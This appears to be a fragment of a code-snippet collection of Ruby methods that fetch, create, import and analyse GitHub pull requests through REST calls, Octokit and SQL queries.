unless match\n\n job_url = URI(file['url'])\n job_type = match[1]\n end\n\n Cyclid.logger.debug \"job_url=#{job_url}\"\n\n if job_url.nil?\n GithubStatus.set_status(statuses, auth_token, 'error', 'No Cyclid job file found')\n return_failure(400, 'not a Cyclid repository')\n end\n\n # Pull down the job file\n begin\n Cyclid.logger.info \"Retrieving PR job from #{job_url}\"\n\n request = Net::HTTP::Get.new(job_url)\n request.add_field('Authorization', \"token #{auth_token}\") \\\n unless auth_token.nil?\n\n http = Net::HTTP.new(job_url.hostname, job_url.port)\n http.use_ssl = (job_url.scheme == 'https')\n response = http.request(request)\n raise \"couldn't get Cyclid job\" unless response.code == '200'\n\n job_blob = Oj.load response.body\n case job_type\n when 'json'\n job_definition = Oj.load(Base64.decode64(job_blob['content']))\n when 'yml'\n job_definition = YAML.load(Base64.decode64(job_blob['content']))\n end\n\n # Insert this repository & branch into the sources\n #\n # XXX Could this cause collisions between the existing sources in\n # the job definition? Not entirely sure what the workflow will\n # look like.\n job_sources = job_definition['sources'] || []\n job_sources << { 'type' => 'git',\n 'url' => html_url.to_s,\n 'branch' => ref,\n 'token' => auth_token }\n job_definition['sources'] = job_sources\n\n Cyclid.logger.debug \"sources=#{job_definition['sources']}\"\n rescue StandardError => ex\n GithubStatus.set_status(statuses,\n auth_token,\n 'error',\n \"Couldn't retrieve Cyclid job file\")\n Cyclid.logger.error \"failed to retrieve Github Pull Request job: #{ex}\"\n raise\n end\n\n Cyclid.logger.debug \"job_definition=#{job_definition}\"\n\n begin\n callback = GithubCallback.new(statuses, auth_token)\n job_from_definition(job_definition, callback)\n rescue StandardError => ex\n GithubStatus.set_status(statuses, auth_token, 'failure', ex)\n return_failure(500, 'job failed')\n end\n end",
"def single_pull_request_response(fq_repo_name, pull_request_id)\n repository_url = \"https://api.github.com/repos/#{fq_repo_name}\"\n {\n \"id\" => pull_request_id,\n \"url\" => \"https://api.github.com/repos/#{fq_repo_name}/pulls/#{pull_request_id}\",\n \"number\" => pull_request_id,\n \"repository_url\" => repository_url,\n \"labels\" => [\n {\"name\" => \"bug\"},\n {\"name\" => \"wip\"}\n ],\n \"pull_request\" => {\n \"url\" => \"#{repository_url}/pulls/#{pull_request_id}\"\n }\n }.to_json\n end",
"def pull_request(id)\n uri = URI(uri_string_for_pull(id))\n execute_http_request(:get, uri).body\n end",
"def pull_requests_for_commit(repo, commit_hash)\n query = \"#{commit_hash}+type:pr+repo:#{repo}\"\n say \"Searching github pull requests for #{commit_hash}\"\n github_api_request \"GET\", \"search/issues?q=#{query}\"\n end",
"def create_pull_request\n self.pull_request = GitHub::PullRequest.create config.github_repo, pull_request_attributes\n end",
"def show\n @pullRequest = PullRequest.find(params[:id])\n\t\trespond_with(@pullRequest)\n end",
"def get_pull_requests(repo_full_name)\n @client.pull_requests(repo_full_name, state: 'open')\n end",
"def commit_belongs_to_which_pr(commit_id)\n q = <<-QUERY\n select prc.pull_request_id\n from reduced_pull_request_commits prc\n where prc.commit_id = ?\n QUERY\n result = db.fetch(q, commit_id).first\n if result.nil?\n nil\n else\n result[:pull_request_id]\n end\n end",
"def pull_request_comment(repo, comment_id, options = {})\n get \"#{Repository.path repo}/pulls/comments/#{comment_id}\", options\n end",
"def get_pull_requests(project_id_or_key, repository_id_or_name)\n get(\"projects/#{project_id_or_key}/git/repositories/#{repository_id_or_name}/pullRequests\")\n end",
"def get_pull_requests(page)\n page = page || 1\n pull_requests = do_request(\"https://api.github.com/repos/#{CONFIG[\"repo\"][\"org\"]}/#{CONFIG[\"repo\"][\"repo\"]}/pulls?page=#{page}&per_page=#{PER_PAGE}\", true)\n if CONFIG[\"repo\"][\"issues\"]\n ret = []\n assignees = []\n labels = []\n # No way to grab just issues that have a pull request at this time, so we have to either\n # do it this way, or issue one request per pull request to get its associated issue\n issues = do_request(\"https://api.github.com/repos/#{CONFIG[\"repo\"][\"org\"]}/#{CONFIG[\"repo\"][\"repo\"]}/issues?per_page=3000\", true)\n pull_requests.each do |pr|\n found_issue = false\n issues.each do |issue|\n if (issue[\"number\"].eql? pr[\"number\"])\n found_issue = true\n ret.push(pr.merge(issue))\n if issue[\"assignee\"]\n assignees.push(issue[\"assignee\"]).uniq!\n end\n end\n end\n if not found_issue\n ret.push(pr)\n end\n end\n {:pull_requests => ret, :assignees => assignees, :labels => labels}\n else\n {:pull_requests => pull_requests}\n end\n end",
"def get_pull(owner, repo, number)\n\t\t\tPullRequests.get(\"/repos/#{owner}/#{repo}/pulls/#{number}\", headers: @auth)\n\t\tend",
"def find_github_issue\n\n issue = github.branch_for_head.match(/(issue\\/\\d+)/)\n if issue\n return issue[1]\n end\n\nend",
"def pull_request_attachment\n Attachment.with(\n title: \"Pull Requests\",\n text: pull_requests.map do |pr|\n url = github.pull_request(pr.fetch(:pr_number))\n \"<#{url}|#{pr.fetch(:pr_number)}> - #{pr.fetch(:name)}\"\n end.join(\"\\n\"),\n color: \"#FFCCB6\"\n )\n end",
"def pull(args, options)\n _closest_branch = closest_branch\n\n if _closest_branch\n branch_name = clean_branch_name_for( _closest_branch )\n link = @url_generator.pull_request_url( branch_name, options[:to] || \"master\" )\n\n launch link\n else\n fail \"Could not find closest remote branch for sha: #{@git_object.oid.inspect}\"\n end\n end",
"def pull_requests_for_commit(token, repo, commit_hash)\n query = \"#{commit_hash}+type:pr+repo:#{repo}\"\n say \"Searching github pull requests for #{commit_hash}\"\n response = RestClient::Request.new(:url => \"https://api.github.com/search/issues?q=#{query}\", :method => \"GET\", :headers => {:accept => :json, :content_type => :json, 'Authorization' => \"token #{token}\"}).execute\n JSON.parse response.body\n rescue RestClient::Exception => e\n process_error e\n throw e\n end",
"def execute\n current = GitHub::PullRequest.current\n\n if current\n cli.say \"Opening Pull Request #{current.number}\"\n cli.open current.pull_request.html_url\n end\n end",
"def pull_requests_for_branch(repo, branch)\n head_name = \"#{repo.split('/').first}:#{branch}\"\n github_api_request \"GET\", \"repos/#{repo}/pulls?head=#{head_name}\"\n end",
"def extract_pull_request(an_array)\n pr_string_index = an_array.index{|s| s.include?(\"Merge pull request\")}\n pull_request = pr_string_index.nil? ? {} : parse_pull_request(an_array[pr_string_index])\n return pull_request\nend",
"def requester(pr)\n q = <<-QUERY\n select u.login as login\n from users u, pull_request_history prh\n where prh.actor_id = u.id\n and action = 'opened'\n and prh.pull_request_id = ?\n QUERY\n db.fetch(q, pr[:id]).first[:login]\n end",
"def pull_requests repo\n name = full_name repo\n \n %w[open closed].reduce([]) do |memo, state|\n memo | octokit.pulls(name, state, :per_page=>100)\n end\n end",
"def query_pull_requests\n # This line is where we want to add :accept => 'application/vnd.github.shadow-cat-preview+json' for draft PRs\n pull_requests = github_query(@client) { @client.pull_requests(@repository, :state => 'open', :per_page => 50) }\n\n @pull_request_details = []\n\n pull_requests.each do |p|\n issue = github_query(@client) { @client.issue(@repository, p.number) }\n\n $logger.debug(\"Issue loaded: #{issue}\")\n\n notification_users = Set.new\n\n notification_users << issue.assignee.login if issue.assignee\n\n notification_users << p.user.login if p.user.login\n\n aging_pull_requests_notify = true\n aging_pull_requests_num_days = 7\n\n # TODO: p.head.repo can be null if the fork repo is deleted. Need to protect that here.\n if p.head.repo.nil?\n $logger.info(\"Skipping potential PR (#{p.number}): Forked repo is null (deleted?)\")\n else\n begin\n pb = PotentialBuild.new(@client, @token, p.head.repo.full_name, nil, p.head.sha, p.head.ref, p.head.user.login, nil, nil, p.number, p.base.repo.full_name, p.base.ref)\n configured_notifications = pb.configuration.notification_recipients\n unless configured_notifications.nil?\n $logger.debug(\"Merging notifications user: #{configured_notifications}\")\n notification_users.merge(configured_notifications)\n end\n\n aging_pull_requests_notify = pb.configuration.aging_pull_requests_notification\n aging_pull_requests_num_days = pb.configuration.aging_pull_requests_numdays\n\n if p.head.repo.full_name == p.base.repo.full_name\n $logger.info(\"Skipping pull-request originating from head repo: #{p.number}\")\n else\n $logger.info(\"Found an external PR to add to potential_builds: #{p.number}\")\n @potential_builds << pb\n end\n rescue DecentCIKnownError => e\n $logger.info(\"Skipping potential PR (#{p.number}): #{e}\")\n rescue => e\n $logger.info(\"Skipping potential PR (#{p.number}): #{e} #{e.backtrace}\")\n end\n end\n # TODO: Should this be here?\n @pull_request_details << {\n :id => p.number,\n :creator => p.user.login,\n :owner => (issue.assignee ? issue.assignee.login : nil),\n :last_updated => issue.updated_at,\n :repo => @repository,\n :notification_users => notification_users,\n :aging_pull_requests_notification => aging_pull_requests_notify,\n :aging_pull_requests_numdays => aging_pull_requests_num_days\n }\n end\n end",
"def create_pull_request\n unless uploads.empty?\n branch = patch_branch\n create_branch(branch)\n uploads.each do |key, upload|\n client.create_contents(\n repo,\n upload[\"filename\"],\n \"Create #{upload[\"filename\"]}\",\n session[\"file_#{key}\"],\n :branch => branch\n )\n session[\"file_#{key}\"] = nil\n end\n end\n pr = client.create_pull_request(repo, \"master\", branch, form_data[\"title\"], issue_body, :labels => labels)\n pr[\"number\"] if pr\n end",
"def current_requests(repo=source_repo)\n @github.pull_requests(repo)\n end",
"def first_response(pr)\n q = <<-QUERY\n select min(created) as first_resp from (\n select min(prc.created_at) as created\n from pull_request_comments prc, users u\n where prc.pull_request_id = ?\n and u.id = prc.user_id\n and u.login not in ('travis-ci', 'cloudbees')\n and prc.created_at < (\n select max(created_at)\n from pull_request_history\n where action = 'closed' and pull_request_id = ?)\n union\n select min(ic.created_at) as created\n from issues i, issue_comments ic, users u\n where i.pull_request_id = ?\n and i.id = ic.issue_id\n and u.id = ic.user_id\n and u.login not in ('travis-ci', 'cloudbees')\n and ic.created_at < (\n select max(created_at)\n from pull_request_history\n where action = 'closed' and pull_request_id = ?)\n ) as a;\n QUERY\n resp = db.fetch(q, pr[:id], pr[:id], pr[:id], pr[:id]).first[:first_resp]\n unless resp.nil?\n (resp - pr[:created_at]).to_i / 60\n else\n -1\n end\n end",
"def checkPullRequest(id, fork=true)\n summary = getPullRequestSummary(id)\n puts \"checking pull request #{id}, branch #{summary.branch}\"\n files = getPullRequestFiles(id)\n `hg log -r #{summary.destination} 2>&1`\n if $? != 0\n puts \"Unknown revision #{summary.destination}, try: hg pull\"\n return\n end\n `hg log -r #{summary.source} 2>&1`\n if $? != 0\n puts \"Unknown revision #{summary.source}, try: hg pull \" +\n \"(it could also be a fork)\"\n return\n end\n ancestor=`hg log -r \"ancestor(#{summary.source},#{summary.destination})\" | head -1 | sed -e 's@.*:@@'`.chomp\n if ancestor != summary.destination\n puts \"Need to merge branch #{summary.branch} with #{summary.destination}\"\n end\n checkFiles(files, summary.source, fork)\n end",
"def update\n @pullRequest = PullRequest.find(params[:id])\n\t\t@git = Git.init()\n\t\tDir.chdir(@pullRequest.source_repo.path)\n\t\trequestor_path = \"#{@pullRequest.repository.path}\"\n\t\t@git.pull(requestor_path, \"master\") # fetch and a merge\n\t\t@pullRequest.status = \"ACCEPTED\"\n if @pullRequest.save\n\t\t\trespond_with(@pullRequest)\n\t\telse\n\t\t\trender json: {error: \"An error occurred while updating your pull request\"}\n end\n end",
"def create_pull_request(oauth_token, source_branch, base_branch, pr_title, pr_body, reviewers)\n client = Octokit::Client.new(access_token: oauth_token)\n pull_number = client.create_pull_request(full_repo_name, base_branch, source_branch, pr_title, pr_body)[:number]\n client.request_pull_request_review(full_repo_name, pull_number, reviewers: reviewers)\n end",
"def ensure_pull_request(owner, repo, pullreq_id,\n comments = true, commits = true, history = true,\n state = nil, actor = nil, created_at = nil)\n pulls_reqs = db[:pull_requests]\n\n project = ensure_repo(owner, repo)\n\n if project.nil?\n warn \"Could not find repo #{owner}/#{repo} for retrieving pull request #{pullreq_id}\"\n return\n end\n\n retrieved = retrieve_pull_request(owner, repo, pullreq_id)\n\n if retrieved.nil?\n warn \"Could not retrieve pull_req #{owner}/#{repo} -> #{pullreq_id}\"\n return\n end\n\n base_repo = ensure_repo(retrieved['base']['repo']['owner']['login'],\n retrieved['base']['repo']['name'])\n\n base_commit = ensure_commit(retrieved['base']['repo']['name'],\n retrieved['base']['sha'],\n retrieved['base']['repo']['owner']['login'])\n\n if pr_is_intra_branch(retrieved)\n head_repo = base_repo\n head_commit = ensure_commit(retrieved['base']['repo']['name'],\n retrieved['head']['sha'],\n retrieved['base']['repo']['owner']['login'])\n debug pr_log_msg(retrieved) + ' is intra-branch'\n else\n head_repo = if pr_has_head_repo(retrieved)\n ensure_repo(retrieved['head']['repo']['owner']['login'],\n retrieved['head']['repo']['name'])\n end\n\n head_commit = if not head_repo.nil?\n ensure_commit(retrieved['head']['repo']['name'],\n retrieved['head']['sha'],\n retrieved['head']['repo']['owner']['login'])\n end\n end\n\n pull_req_user = ensure_user(retrieved['user']['login'], false, false)\n\n merged = if retrieved['merged_at'].nil? then false else true end\n closed = if retrieved['closed_at'].nil? then false else true end\n\n pull_req = pulls_reqs.first(:base_repo_id => project[:id],\n :pullreq_id => pullreq_id)\n if pull_req.nil?\n pulls_reqs.insert(\n :head_repo_id => if not head_repo.nil? then head_repo[:id] end,\n :base_repo_id => if not base_repo.nil? then base_repo[:id] end,\n :head_commit_id => if not head_commit.nil? then head_commit[:id] end,\n :base_commit_id => if not base_commit.nil? then base_commit[:id] end,\n :pullreq_id => pullreq_id,\n :intra_branch => pr_is_intra_branch(retrieved)\n )\n info 'Added ' + pr_log_msg(retrieved)\n else\n debug pr_log_msg(retrieved) + ' exists'\n end\n\n pull_req = pulls_reqs.first(:base_repo_id => project[:id],\n :pullreq_id => pullreq_id)\n\n # Add a fake (or not so fake) issue in the issues table to serve\n # as root for retrieving discussion comments for this pull request\n issues = db[:issues]\n issue = issues.first(:pull_request_id => pull_req[:id])\n\n if issue.nil?\n issues.insert(:repo_id => base_repo[:id],\n :assignee_id => nil,\n :reporter_id => nil,\n :issue_id => pullreq_id,\n :pull_request => true,\n :pull_request_id => pull_req[:id],\n :created_at => date(retrieved['created_at']))\n debug 'Added accompanying_issue for ' + pr_log_msg(retrieved)\n else\n debug 'Accompanying issue for ' + pr_log_msg(retrieved) + ' exists'\n end\n\n if history\n # Actions on pull requests\n opener = pull_req_user[:login]\n ensure_pull_request_history(pull_req[:id], date(retrieved['created_at']),\n 'opened', opener)\n\n merger = if retrieved['merged_by'].nil? then actor else retrieved['merged_by']['login'] end\n ensure_pull_request_history(pull_req[:id], date(retrieved['merged_at']),\n 'merged', merger) if (merged && state != 'merged')\n\n closer = if merged then merger else actor end\n ensure_pull_request_history(pull_req[:id], date(retrieved['closed_at']),\n 'closed', closer) if (closed && state != 'closed')\n ensure_pull_request_history(pull_req[:id], date(created_at), state, actor) unless state.nil?\n end\n ensure_pull_request_commits(owner, repo, pullreq_id, pull_req, retrieved) if commits\n ensure_pullreq_comments(owner, repo, pullreq_id, pull_req) if comments\n ensure_issue_comments(owner, repo, pullreq_id, pull_req[:id]) if comments\n\n pull_req\n end",
"def create_pull_request(token, branch, repo, body, assignee)\n payload = {:title => branch, :base => base_branch, :head => branch, :body => body}.to_json\n say \"Creating pull request for \"\n say \"#{branch} \", :green\n say \"against \"\n say \"#{base_branch} \", :green\n say \"in \"\n say repo, :green\n response = RestClient::Request.new(:url => \"https://api.github.com/repos/#{repo}/pulls\", :method => \"POST\", :payload => payload, :headers => {:accept => :json, :content_type => :json, 'Authorization' => \"token #{token}\"}).execute\n data = JSON.parse response.body\n\n assign_pull_request(token, branch, assignee, data) if assignee ## Unfortunately this needs to be done in a seperate request.\n\n url = data['html_url']\n url\n rescue RestClient::Exception => e\n process_error e\n throw e\n end",
"def create_merge_request\n author_id, author_found = user_finder.author_id_for(pull_request)\n\n description = MarkdownText\n .format(pull_request.description, pull_request.author, author_found)\n\n attributes = {\n iid: pull_request.iid,\n title: pull_request.truncated_title,\n description: description,\n source_project_id: project.id,\n target_project_id: project.id,\n source_branch: pull_request.formatted_source_branch,\n target_branch: pull_request.target_branch,\n state: pull_request.state,\n milestone_id: milestone_finder.id_for(pull_request),\n author_id: author_id,\n assignee_id: user_finder.assignee_id_for(pull_request),\n created_at: pull_request.created_at,\n updated_at: pull_request.updated_at\n }\n\n create_merge_request_without_hooks(project, attributes, pull_request.iid)\n end",
"def find_referenced_issue_by_id(id)\n return nil if id.blank?\n\n # TODO - Add a Setting `Setting.pull_cross_project_ref?` and verifiy if the issue can be linked\n Issue.find_by_id(id.to_i)\n end",
"def current_pr_for_branch(repo, branch)\n prs = pull_requests_for_branch(repo, branch)\n raise \"Multiple (#{prs.size}) open PRs for #{branch} found in #{repo}, unable to proceed\" if prs.size > 1\n prs.first\n end",
"def pull(repo, pull_number, options = {})\n get \"#{Repository.path repo}/pulls/#{pull_number}\", options\n end",
"def create_pull_request_for_issue(repo, base, head, issue, options = {})\n pull = {\n :base => base,\n :head => head,\n :issue => issue\n }\n post \"#{Repository.path repo}/pulls\", options.merge(pull)\n end",
"def get_pull_request_comments(project_id_or_key, repository_id_or_name, pull_request_number)\n get(\"projects/#{project_id_or_key}/git/repositories/#{repository_id_or_name}/pullRequests/#{pull_request_number}/comments\")\n end",
"def create_pullrequest options\n project = options.fetch(:project)\n params = {\n :base => options.fetch(:base),\n :head => options.fetch(:head)\n }\n\n if options[:issue]\n params[:issue] = options[:issue]\n else\n params[:title] = options[:title] if options[:title]\n params[:body] = options[:body] if options[:body]\n end\n\n res = post \"https://%s/repos/%s/%s/pulls\" %\n [api_host(project.host), project.owner, project.name], params\n\n res.error! unless res.success?\n res.data\n end",
"def merge_pull_request\n git.merge pull_request.branch\n end",
"def get_commits(pull_req_id)\n do_request(\"https://api.github.com/repos/#{CONFIG[\"repo\"][\"org\"]}/#{CONFIG[\"repo\"][\"repo\"]}/pulls/#{pull_req_id}/commits\", true)\n end",
"def get_pull_number(payload)\n if payload[:pull_request]\n return payload[:pull_request][:number]\n elsif payload[:issue]\n return payload[:issue][:number]\n elsif payload[:comment][:pull_request_url]\n return payload[:comment][:pull_request_url].split('/')[-1]\n else\n return nil\n end\n end",
"def add_pull_request_comment(project_id_or_key, repository_id_or_name, pull_request_number, params = {})\n get(\"projects/#{project_id_or_key}/git/repositories/#{repository_id_or_name}/pullRequests/#{pull_request_number}/comments\", params)\n end",
"def create_pull_request(project_id_or_key, repository_id_or_name, params = {})\n post(\"projects/#{project_id_or_key}/git/repositories/#{repository_id_or_name}/pullRequests\", params)\n end",
"def find_pulls\n # return self.github_client.pull_requests(\"#{user}/#{repository}\", request_params).count\n initial_pulls = self.github_client.pull_requests(\"#{user}/#{repository}\", request_params).count\n return find_last_page(initial_pulls)\n end",
"def getPullRequestDiff(id)\n response = getUrl(@url_pullrequests + \"/\" + id.to_s + \"/diff\")\n puts response if @options[\"verbose\"]\n return response\n end",
"def process_pull_request(pr, lang)\n\n # Statistics across pull request commits\n stats = pr_stats(pr[:id])\n\n merged = ! pr[:merged_at].nil?\n git_merged = false\n merge_reason = :github\n\n if not merged\n git_merged, merge_reason = merged_with_git?(pr)\n end\n\n # Count number of src/comment lines\n src = src_lines(pr[:id].to_f)\n\n if src == 0 then raise Exception.new(\"Bad number of lines: #{0}\") end\n\n commits_last_3_month = commits_last_x_months(pr[:id], false, 3)[0][:num_commits]\n prev_pull_reqs = prev_pull_requests(pr[:id],'opened')[0][:num_pull_reqs]\n\n # Create line for a pull request\n {\n :pull_req_id => pr[:id],\n :project_name => \"#{pr[:login]}/#{pr[:project_name]}\",\n :lang => lang,\n :github_id => pr[:github_id],\n :created_at => Time.at(pr[:created_at]).to_i,\n :merged_at => merge_time(pr, merged, git_merged),\n :closed_at => Time.at(pr[:closed_at]).to_i,\n :lifetime_minutes => pr[:lifetime_minutes],\n :mergetime_minutes => merge_time_minutes(pr, merged, git_merged),\n :merged_using => merge_reason.to_s,\n :conflict => conflict?(pr[:login], pr[:project_name], pr[:github_id]),\n :forward_links => forward_links?(pr[:login], pr[:project_name], pr[:github_id]),\n :team_size => team_size_at_open(pr[:id], 3)[0][:teamsize],\n :num_commits => num_commits(pr[:id])[0][:commit_count],\n :num_commit_comments => num_comments(pr[:id])[0][:comment_count],\n :num_issue_comments => num_issue_comments(pr[:id])[0][:issue_comment_count],\n :num_comments => num_comments(pr[:id])[0][:comment_count] + num_issue_comments(pr[:id])[0][:issue_comment_count],\n :num_participants => num_participants(pr[:id])[0][:participants],\n :files_added => stats[:files_added],\n :files_deleted => stats[:files_removed],\n :files_modified => stats[:files_modified],\n :files_changed => stats[:files_added] + stats[:files_modified] + stats[:files_removed],\n :src_files => stats[:src_files],\n :doc_files => stats[:doc_files],\n :other_files => stats[:other_files],\n :perc_external_contribs => ((commits_last_3_month - commits_last_x_months(pr[:id], true, 3)[0][:num_commits]) * 100) / commits_last_3_month,\n :sloc => src,\n :src_churn => stats[:lines_added] + stats[:lines_deleted],\n :test_churn => stats[:test_lines_added] + stats[:test_lines_deleted],\n :commits_on_files_touched => commits_on_files_touched(pr[:id], Time.at(Time.at(pr[:created_at]).to_i - 3600 * 24 * 90)),\n :test_lines_per_kloc => (test_lines(pr[:id]).to_f / src.to_f) * 1000,\n :test_cases_per_kloc => (num_test_cases(pr[:id]).to_f / src.to_f) * 1000,\n :asserts_per_kloc => (num_assertions(pr[:id]).to_f / src.to_f) * 1000,\n :watchers => watchers(pr[:id])[0][:num_watchers],\n :requester => requester(pr[:id])[0][:login],\n :prev_pullreqs => prev_pull_reqs,\n :requester_succ_rate => if prev_pull_reqs > 0 then prev_pull_requests(pr[:id], 'merged')[0][:num_pull_reqs].to_f / prev_pull_reqs.to_f else 0 end,\n :followers => followers(pr[:id])[0][:num_followers],\n :intra_branch => if intra_branch?(pr[:id])[0][:intra_branch] == 1 then true else false end,\n :main_team_member => if main_team_member?(pr[:id])[0][:main_team_member] == 1 then true else false end\n }\n end",
"def process_pull_request(pr, lang)\n\n # Statistics across pull request commits\n stats = pr_stats(pr)\n merged = !pr[:merged_at].nil?\n git_merged, merge_reason, merge_person = @close_reason[pr[:github_id]]\n\n # Count number of src/comment lines\n src = src_lines(pr[:id].to_f)\n\n if src == 0 then raise Exception.new(\"Bad src lines: 0, pr: #{pr[:github_id]}, id: #{pr[:id]}\") end\n\n months_back = 3\n commits_incl_prs = commits_last_x_months(pr, false, months_back)\n prev_pull_reqs = prev_pull_requests(pr,'opened')\n\n # Create line for a pull request\n {\n :pull_req_id => pr[:id],\n :project_name => \"#{pr[:login]}/#{pr[:project_name]}\",\n :lang => lang,\n :github_id => pr[:github_id],\n :created_at => Time.at(pr[:created_at]).to_i,\n :merged_at => merge_time(pr, merged, git_merged),\n :closed_at => Time.at(pr[:closed_at]).to_i,\n :lifetime_minutes => pr[:lifetime_minutes],\n :mergetime_minutes => merge_time_minutes(pr, merged, git_merged),\n :merged_using => merge_reason.to_s,\n :conflict => conflict?(pr),\n :forward_links => forward_links?(pr),\n :team_size => team_size_at_open(pr, months_back),\n :num_commits => num_commits(pr),\n :num_commits_open => num_commits_at_open(pr),\n :num_pr_comments => num_pr_comments(pr),\n :num_issue_comments => num_issue_comments(pr),\n :num_commit_comments => num_commit_comments(pr),\n :num_comments => num_pr_comments(pr) + num_issue_comments(pr) + num_commit_comments(pr),\n :num_participants => num_participants(pr),\n :files_added => stats[:files_added],\n :files_deleted => stats[:files_removed],\n :files_modified => stats[:files_modified],\n :files_changed => stats[:files_added] + stats[:files_modified] + stats[:files_removed],\n :src_files => stats[:src_files],\n :doc_files => stats[:doc_files],\n :other_files => stats[:other_files],\n :perc_external_contribs => commits_last_x_months(pr, true, months_back) / commits_incl_prs,\n :sloc => src,\n :src_churn => stats[:lines_added] + stats[:lines_deleted],\n :test_churn => stats[:test_lines_added] + stats[:test_lines_deleted],\n :commits_on_files_touched => commits_on_files_touched(pr, months_back),\n :commits_to_hottest_file => commits_to_hottest_file(pr, months_back),\n :test_lines_per_kloc => (test_lines(pr[:id]).to_f / src.to_f) * 1000,\n :test_cases_per_kloc => (num_test_cases(pr[:id]).to_f / src.to_f) * 1000,\n :asserts_per_kloc => (num_assertions(pr[:id]).to_f / src.to_f) * 1000,\n :watchers => watchers(pr),\n :requester => requester(pr),\n :closer => closer(pr),\n :merger => merge_person,\n :prev_pullreqs => prev_pull_reqs,\n :requester_succ_rate => if prev_pull_reqs > 0 then prev_pull_requests(pr, 'merged').to_f / prev_pull_reqs.to_f else 0 end,\n :followers => followers(pr),\n :intra_branch => if intra_branch?(pr) == 1 then true else false end,\n :main_team_member => main_team_member?(pr, months_back),\n :social_connection_tsay => social_connection_tsay?(pr),\n :hotness_vasilescu => hotness_vasilescu(pr, months_back),\n :team_size_vasilescu => team_size_vasilescu(pr, months_back),\n :description_complexity => description_complexity(pr),\n :workload => workload(pr),\n :prior_interaction_issue_events => prior_interaction_issue_events(pr, months_back),\n :prior_interaction_issue_comments => prior_interaction_issue_comments(pr, months_back),\n :prior_interaction_pr_events => prior_interaction_pr_events(pr, months_back),\n :prior_interaction_pr_comments => prior_interaction_pr_comments(pr, months_back),\n :prior_interaction_commits => prior_interaction_commits(pr, months_back),\n :prior_interaction_commit_comments => prior_interaction_commit_comments(pr, months_back),\n :first_response => first_response(pr),\n :ci_latency => ci_latency(pr),\n :ci_errors => ci_errors?(pr),\n :ci_test_failures => ci_test_failures?(pr),\n }\n end",
"def create_merge_request\n author_id, author_found = user_finder.author_id_for(pull_request)\n\n description = MarkdownText\n .format(pull_request.description, pull_request.author, author_found)\n\n # This work must be wrapped in a transaction as otherwise we can leave\n # behind incomplete data in the event of an error. This can then lead\n # to duplicate key errors when jobs are retried.\n MergeRequest.transaction do\n attributes = {\n iid: pull_request.iid,\n title: pull_request.truncated_title,\n description: description,\n source_project_id: project.id,\n target_project_id: project.id,\n source_branch: pull_request.formatted_source_branch,\n target_branch: pull_request.target_branch,\n state: pull_request.state,\n milestone_id: milestone_finder.id_for(pull_request),\n author_id: author_id,\n assignee_id: user_finder.assignee_id_for(pull_request),\n created_at: pull_request.created_at,\n updated_at: pull_request.updated_at\n }\n\n # When creating merge requests there are a lot of hooks that may\n # run, for many different reasons. Many of these hooks (e.g. the\n # ones used for rendering Markdown) are completely unnecessary and\n # may even lead to transaction timeouts.\n #\n # To ensure importing pull requests has a minimal impact and can\n # complete in a reasonable time we bypass all the hooks by inserting\n # the row and then retrieving it. We then only perform the\n # additional work that is strictly necessary.\n merge_request_id = GithubImport\n .insert_and_return_id(attributes, project.merge_requests)\n\n merge_request = project.merge_requests.find(merge_request_id)\n\n # These fields are set so we can create the correct merge request\n # diffs.\n merge_request.source_branch_sha = pull_request.source_branch_sha\n merge_request.target_branch_sha = pull_request.target_branch_sha\n\n merge_request.keep_around_commit\n merge_request.merge_request_diffs.create\n\n merge_request.id\n end\n rescue ActiveRecord::InvalidForeignKey\n # It's possible the project has been deleted since scheduling this\n # job. In this case we'll just skip creating the merge request.\n end",
"def get_pull_request_count(repo_id)\n pull_request_count = client.pull_requests(repo_id, :state => 'open').length\n rescue Octokit::NotFound\n nil\n end",
"def single_issue_request_response(fq_repo_name, issue_id)\n repository_url = \"https://api.github.com/repos/#{fq_repo_name}\"\n {\n \"id\" => issue_id,\n \"url\" => \"https://api.github.com/repos/#{fq_repo_name}/issues/#{issue_id}\",\n \"number\" => issue_id,\n \"repository_url\" => repository_url,\n \"labels\" => [\n {\"name\" => \"bug\"},\n {\"name\" => \"wip\"}\n ]\n }.to_json\n end",
"def current_requests_full(repo=source_repo)\n @github.pull_requests(repo).collect { |request|\n @github.pull_request(repo, request.number)\n }\n end",
"def set_pull\n @pull = Pull.find(params[:id])\n end",
"def set_pull\n @pull = Pull.find(params[:id])\n end",
"def pull_reqs(project, github_id = -1)\n q = <<-QUERY\n select u.login as login, p.name as project_name, pr.id, pr.pullreq_id as github_id,\n a.created_at as created_at, b.created_at as closed_at,\n\t\t\t (select created_at\n from pull_request_history prh1\n where prh1.pull_request_id = pr.id\n and prh1.action='merged' limit 1) as merged_at,\n timestampdiff(minute, a.created_at, b.created_at) as lifetime_minutes,\n\t\t\ttimestampdiff(minute, a.created_at, (select created_at\n from pull_request_history prh1\n where prh1.pull_request_id = pr.id and prh1.action='merged' limit 1)\n ) as mergetime_minutes\n from pull_requests pr, projects p, users u,\n pull_request_history a, pull_request_history b\n where p.id = pr.base_repo_id\n\t and a.pull_request_id = pr.id\n and a.pull_request_id = b.pull_request_id\n and a.action='opened' and b.action='closed'\n\t and a.created_at < b.created_at\n and p.owner_id = u.id\n and p.id = ?\n QUERY\n\n if github_id != -1\n q += \" and pr.pullreq_id = #{github_id} \"\n end\n q += 'group by pr.id order by pr.pullreq_id desc;'\n\n db.fetch(q, project[:id]).all\n end",
"def update(state = 'open')\n @current_requests = @github.pull_requests(source_repo, state)\n repos = @current_requests.collect do |request|\n repo = request.head.repository\n \"#{repo.owner}/#{repo.name}\" if repo\n end\n repos.uniq.compact.each do |rep|\n git_call \"fetch git@github.com:#{rep}.git +refs/heads/*:refs/pr/#{rep}/*\"\n end\n end",
"def execute\n if (!self.pull_request_id)\n current = GitHub::PullRequest.current\n self.pull_request_id = current.number if current\n end\n self.pull_request_id ||= cli.prompt(\"Pull Request ID: \")\n GitHub.connect do\n if config.deployable_label\n with_labelling do\n merge\n end\n else\n merge\n end\n end\n end",
"def create_pull_request(repo, base, head, title, body = nil, options = {})\n pull = {\n :base => base,\n :head => head,\n :title => title,\n }\n pull[:body] = body unless body.nil?\n post \"#{Repository.path repo}/pulls\", options.merge(pull)\n end",
"def comments_for_pull_request(id)\n uri = URI(uri_string_for_comments_on_pull(id))\n execute_http_request(:get, uri).body\n end",
